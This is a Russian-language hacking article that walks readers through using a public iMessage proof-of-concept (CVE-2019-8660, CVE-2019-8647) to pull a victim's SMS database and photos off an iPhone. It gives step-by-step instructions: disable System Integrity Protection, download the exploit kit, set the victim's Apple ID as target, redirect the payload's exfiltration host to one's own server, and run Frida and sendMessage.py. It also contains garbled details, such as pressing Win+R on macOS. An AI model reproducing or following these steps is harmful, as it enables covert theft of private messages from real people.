Привет, хакеры, в данной статье поговорим о взломе IOS
Введение.
С недавних пор Apple обновила свою платформу до версии 12. Данная уязвимость была обнаружена в мае 2019 года специалисткой из команды Google Project Zero. исследовательница работает только на iOS 12. И описан как:
Простая демонстрация достижимости класса в Springboard. Реальные последствия [эксплуатации] бага, скорее всего, будут куда серьезнее.
Но давайте углубимся в это и узнаем о роствениках данной уязвимости. А именно:
CVE-2019-8660
CVE-2019-8647
Первый вид представляет собой некий баг в Core Data позволяющий вызвать неожиданное завершения приложения. В худшем случае запустить произвольный код на iPhone 5s и выше.
Вторая же недоработка аналогична первой, но позволяет выполнить произвольный код и представляет собо use after free уязвимость. И происходит все это на том же iPhone 5s.
Проникновение
Выше была у нас теория. Переходим к практике. Данная уязвимость позволит нам получить доступ к галереи телефона и смс-сообщениям. Приступим.
Что нужно:
Виртуальная машина (Операционка macOS, версия Mojave 10.14)
iPhone для тестирования
Фреймоворк Frida
Подготовка виртуалки:
Запускаем машину
После зажимаем Win+R
Пишем csrutil disable
Этими дейстиями мы отключили System Integrity Protection. Он не дает нам установить hook на сервис с названием "imagent". Он в свою очередь отвечает за работу программ таких как: FaceTime, iMessages.
Подготовка программ:
Для начала перезагрузим виртуальную машину. После переходим на сайт и регистрируемся, чтобы скачать файл. Далее нам нужно открыть наш архив (messageleak.zip) и увидить вот такой содержательный контент:
MD5 (injectMessage.js) = d922afbf15661ce700f7cbf2cc660657
MD5 (myserver.py) = 3c78673f4953a078c75ce9ced903595d
MD5 (obj_db) = f96f64ac54c4e2d667d2b0afff25dff9
MD5 (obj_imgdump) = fdc01461eb9f3b09781550e679710adb
MD5 (sendMessage.applescript) = 074dc419a5383ebb3bb3d67f83798e0a
MD5 (sendMessage.py) = f63b8869e818fdbccc8abab6cdba5a57
MD5 (uni.py) = 754ad573e3aeff1edab103e1fe5175c0
Теперь вносим правки в скрипт sendMessage.py. Объясняю почему. Там содержится Apple ID нашей жертвы (receiver). Данная команда выглядет так:
receiver = "TARGET"
Теперь меняем значение TARGET на телефон жертвы или почту. Получается это примерно так:
receiver = "username@mail.ru"
После заходим в файл injectMessage.js и меняем содержимое. Мы будем получать базу смс сообщений. Для этого воспользуемся нагрузкой obj_db. Исходный код без изменений выглядет так:
var d = ObjC.classes.NSData.dataWithContentsOfFile_("FULL PATH HERE/obj");
Мы его преобразуем и получаем вот это:
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/admin/Desktop/obj_db");
После в той же нагрузке obj_db меняем natashenka.party на адрес вашего сервера. Для получения ответа от нашего эксплоита.
Последнии штрихи:
Переходим к нашей программе Frida. Скачиваем ее с сайта (frida-server-12.6.12-macos-x86_64.xz). После запускаем:
MD5 (frida-server-12.6.12-macos-x86_64.xz) = b58f4c7ed17c23a88e9a46620645f1d4
И пишем следующие команды:
chmod +x frida-server-12.6.12-macos-x86_64
./frida-server-12.6.12-macos-x86_64 -l 0.0.0.0 -v
sudo easy_install pip
pip install frida-tools --user
И теперь запускаем:
python sendMessage.py
В ходе работы будут запросы. Их мы разрешаем и ждем результатов, которые придут к вам на сервер.
Я никого ни к чему не призываю, статья написана в ознакомительных целях!